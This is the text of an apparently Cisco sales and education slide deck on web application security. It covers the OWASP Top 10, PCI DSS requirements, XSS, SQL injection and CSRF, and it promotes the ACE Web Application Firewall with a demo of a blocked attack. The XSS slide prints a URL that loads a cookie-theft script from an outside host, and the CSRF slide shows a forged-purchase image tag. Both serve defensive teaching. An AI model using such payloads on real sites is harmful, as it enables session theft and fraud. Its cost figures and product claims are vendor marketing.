Securing Web Applications

Cheng Jang Thye
jtcheng@cisco.com
Agenda

- Secure Data Center Transformation
- Application Security Trends and Concerns
- Web Application Attack
- Introducing Cisco Web Application Firewall WAF
- Q&A
Secure Data Center Transformation
SDN Secured Data Center: big picture and where does ACE WAF play?

Data Center Edge
- Firewall & IPS
- DOS Protection
- App Protocol Inspection
- Web Services Security
- VPN termination
- Email & Web Access control

Web Access
- Web Security
- Application Security
- Application Isolation
- Content Inspection
- SSL Encryption/Offload
- Server Hardening

Apps and Database
- XML, SOAP, AJAX Security
- XDoS Prevention
- App to App Security
- Server Hardening

Storage
- Data Encryption
- In Motion
- At Rest
- Stored Data Access Control
- Segmentation

Mgmt
- Tiered Access
- Monitoring & Analysis
- Role-Based Access
- AAA Access Control

ACE WAF
- Web App Firewall
- Web Security
- Application Security
- Application Isolation
- Content Inspection
- SSL Encryption/Offload
- Server Hardening

IronPort E-Mail Security
- Web Security
- Application Security
- Application Isolation
- Content Inspection
- SSL Encryption/Offload
- Server Hardening

Cat6K FWSM
- Web Security
- Application Security
- Application Isolation
- Content Inspection
- SSL Encryption/Offload
- Server Hardening

ACE WAF
- Web Security
- Application Security
- Application Isolation
- Content Inspection
- SSL Encryption/Offload
- Server Hardening

CSA
- Application Security
- Application Isolation
- Content Inspection
- SSL Encryption/Offload
- Server Hardening

MDS w/SME
- Tier 1/2/3 Storage
- Tape/Off-site Backup

CSM CSA-MC CW-LMN
- Tiered Access
- Monitoring & Analysis
- Role-Based Access
- AAA Access Control

MARS
- Tiered Access
- Monitoring & Analysis
- Role-Based Access
- AAA Access Control
Agenda

- Secure Data Center Transformation
- Application Security Trends and Concerns
- Web Application Attack
- Introducing Cisco Web Application Firewall WAF
- Q&A
Off the press

… more than 45 million credit and debit card numbers have been stolen from its IT systems …
Focus of today’s attacks

75% of Attacks Focused Here

Custom Web Applications
Customized Packaged Apps
Internal and 3rd Party Code
Business Logic & Code

Web Servers
Application Servers
Database Servers

Operating Systems
Operating Systems
Operating Systems

Network
IDS
IPS
Network Firewall

No signatures or patches for your custom PHP script
Industry Response

- Visa, American Express, Master Card and others (the Payment Card Industry)
  - Created a Data Security Standard (PCI DSS)

- Section 6.6:
  - Must conduct code reviews or
  - Install a Web Application Firewall

- Every company that processes credit cards must comply or face fines

- Compliance deadline is June 30 2008

- April 15 revision added XML security to the list of requirements; recommends WAF and secure coding practices
PCI DSS: 6 sections and 12 requirements

**Build and Maintain a Secure Network**

1. Install and maintain a firewall configuration to protect data
2. Do not use vendor-supplied defaults for system passwords and other security parameters

**Protect Cardholder Data**

3. Protect stored cardholder data
4. Encrypt transmission of cardholder data and sensitive information across open public networks

**Maintain a Vulnerability Management Program**

5. Use and regularly update anti-virus software
6. Develop and maintain secure systems and applications

---

Section 6.5: develop secure web apps, cover prevention of **OWASP vulnerabilities**

Section 6.6: Ensure all web-facing apps are protected against known attacks using either of the following methods
- secure coding practices
- installing a Web App FW

No change with PCI 1.2!
What sort of attacks are we talking about?

http://www.owasp.org
Top 10

A1 – Cross Site Scripting (XSS) ...........................................................
A2 – Injection Flaws............................................................................
A3 – Malicious File Execution ..............................................................
A4 – Insecure Direct Object Reference ..............................................
A5 – Cross Site Request Forgery (CSRF) ..............................................
A6 – Information Leakage and Improper Error Handling .................
A7 – Broken Authentication and Session Management ..................
A8 – Insecure Cryptographic Storage ...............................................  
A9 – Insecure Communications .........................................................
A10 – Failure to Restrict URL Access ...............................................  

How widespread these attacks are

Why Not Fix Current Applications?

Every 1000 lines of code averages 15 critical security defects  
(US Dept of Defense)

The average business app has 150,000-250,000 lines of code  
(Software Magazine)

The average security defect takes 75 minutes to diagnose and 6 hours to fix  
(5-year Pentagon Study)

Even if you consider those figures are exaggerated (positively or negatively) the cost of fixing applications is prohibitive

WAF always a very financially sound option!
Agenda

- Secure Data Center Transformation
- Application Security Trends and Concerns
- Web Application Attack
- Introducing Cisco Web Application Firewall WAF
- Q&A
Cross-Site Scripting (XSS) attacks

- **What is it?**
  - A malicious script is echoed back into HTML returned from a trusted web site. The scripts execute locally on the client.
  - Extremely widespread – some experts estimate 70%-80% of websites are vulnerable

- **What are the implications?**
  - Web Site Defacement
  - Session IDs stolen (cookies exported to hacker’s site)
  - Browser security compromised – control given to hacker
  - All data sent between client and server potentially hijacked

XSS in action: Stealing Authentication Credentials

1) Link to bank.com sent to user via E-mail or HTTP

2) User sends script embedded as data

3) Script/data returned, executed by browser

4) Script sends user’s cookie and session information without the user’s consent or knowledge

session information to impersonate user

http://bock-bock/cgi-bin/power/?q=<script src=http://www.employees.org/~pag/XSS/cookie_theft.js></script>
SQL Injection

- SQL stands for **Structured Query Language**
- Allows applications to access a database
- SQL can:
  - Execute queries against a database
  - Retrieve data from a database
  - Insert new records in a database
  - Delete records from a database
  - Update records in a database
- Many applications take user input and blindingly send it directly to SQL API!
Response Message Rewrite

- Search for and replace questionable content in responses from server

**Data you submitted**

The first param is 4444 4444 4444 4444

The second param is

**Data you submitted**

The first param is xxxxxxxxxxxxxxxxxxxxxxxx

The second param is
Cross Site Request Forgery

- “Whereas cross-site scripting exploits the trust a user has in a website, a cross-site request forgery exploits the trust a Web site has in a user by forging a request from a trusted user.” (source: Wikipedia)

- How does it work:
  - Bob is logged into his bank’s website
  - Bob is also chatting/reading a blog at the same time
  - Hacker posts a comment in the blog inviting Bob to click a link
  - The link performs an action on Bob’s bank
  - As Bob is logged in, the action has the potential to succeed

- Simple example: http://www.google.com/setprefs?hl=ga

- Note that Bob doesn’t even have to click a link – a simple <img src="http://example.org/buy.php?item=PS3&qty=500> on a web page could suffice!
Agenda

- Secure Data Center Transformation
- Application Security Trends and Concerns
- Web Application Attack
- Introducing Cisco Web Application Firewall WAF
- Q&A
Introducing…
The ACE Web Application Firewall (WAF)

Drop-in solution for

PCI Compliance, Virtual App Patching, Data Loss Prevention

- **Secure** – Deep packet protection of the most common vulnerabilities
- **Fast** – Processes 3,000+ TPS and 10,000+ concurrent connections
- **Drop-in** - Does not require recoding applications, deployable in under an hour
- **PCI 6.5/6.6 compliance is just a few clicks away**
Hardware and Software Part Numbers

ACE-XML-K9 (FIPS) + ACE-XML-FIPS
ACE-XML-NF-K9 + ACE-XML-NONFIPS

FIPS HW
Non FIPS HW

ACE-XML-GAT-LICFX
ACE-XML-MGMT-LIC
ACE-WAF-GAT-LICFX
ACE-WAF-MGT-LICFX

License for AXG
License for WAF

There is also a “full” license which contains both XML/Web Services and WAF feature sets
The ACE Web Application Firewall is a full reverse proxy

In other words, you can have the DNS server point to the IP address of the WAF to represent the actual Web server

At that point, the WAF accepts all requests destined to the Web server, filters them, and sends them out; the response comes back to the WAF as well for total control of the session
Typical Network Deployment

- Clients resolve www.site.com to a VIP residing on the ACE
- The ACE picks a WAF and sticks the session to it
- The WAF chooses a policy based on the Host header
- When done with the inspection, the WAF sends the packet out to an internal VIP
- That internal VIP represents the actual www servers, ACE performs the LB decision and sticks the WAF session to one real server
The Website Is Under Attack

13. We Are Launching a XSS Attack Against the Website

Immediate Incident Report View
Let’s Drill Down

14. Let’s See What the Attack Looks Like

ID of the Rule that Caused the Alert

The Name of the Attack Vector Is Provided
Detailed Security Event Drill-Down

15. Detailed Forensics Are Available for Each Attack

<table>
<thead>
<tr>
<th>Time (PST)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Feb 18 2008 09:29:41.174 AM</td>
<td>Waiting new request on inbound connection</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.174 AM</td>
<td>Terminating HTTP session: 500 An error occurred</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.174 AM</td>
<td>An error occurred for this request: An error occurred while handling the request.</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.713 AM</td>
<td>Checking limit 1</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.713 AM</td>
<td>Checking limit 0</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.713 AM</td>
<td>Checking 3 imks</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.713 AM</td>
<td>Accepted a new HTTP POST request from 171.69.141.0 for /SCRIPTS/xss.php</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.713 AM</td>
<td>HTTP POST request for /SCRIPTS/xss.php from 171.69.141.0 matched Port 'Default HTTP port'; checking for handler</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.713 AM</td>
<td>Performing normalization on /SCRIPTS/xss.php with mode 7211</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.713 AM</td>
<td>HTTP Trace In: Content-Type: application/x-www-form-urlencoded</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.713 AM</td>
<td>Content-Length: 58</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>HTTP Trace In: POST /SCRIPTS/xss.php HTTP/1.1</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>Host: FooBarfoo2k.cisco.com</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20000201 Firefox/2.0.0.12</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain,c=0,8,image/png,<em>/</em>;q=0.5</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>Accept-Language: en-us, en;q=0.5</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>Accept-Encoding: gzip, deflate</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>Accept-Charset: ISO-8859-1, utf-8; q=0.7,*;c=0.7</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>Keep-Alive: 300</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>Connection: keep-alive</td>
</tr>
<tr>
<td>Feb 18 2008 09:29:41.711 AM</td>
<td>Cookie: ccc_user_id=cpaggon; SMIDENTITY=vz5Hyjh3rDv9t4nGfYCS5vozQXIoC380tWM0G2pEHUDXb4mPyEBkboDoOq+XQjTPZt0UpMcRs3DwnmLDn3PcHSc74dx7Y3IL</td>
</tr>
</tbody>
</table>
Defense-in-Depth should include a web application firewall that can quickly, effectively and cost-effectively block attacks at layers 5-7
Conclusion

- Don’t trust input from clients
- Don’t reinvent the wheel – use proven encryption protocols, input/output validation in the source, secure coding practices
- Cisco’s AXG: security for both XML and HTML applications
- WAF: great for Virtual Patching and data leakage prevention

Defense-in-Depth should include a web application firewall that can quickly, effectively and cost-effectively block attacks at Layer 7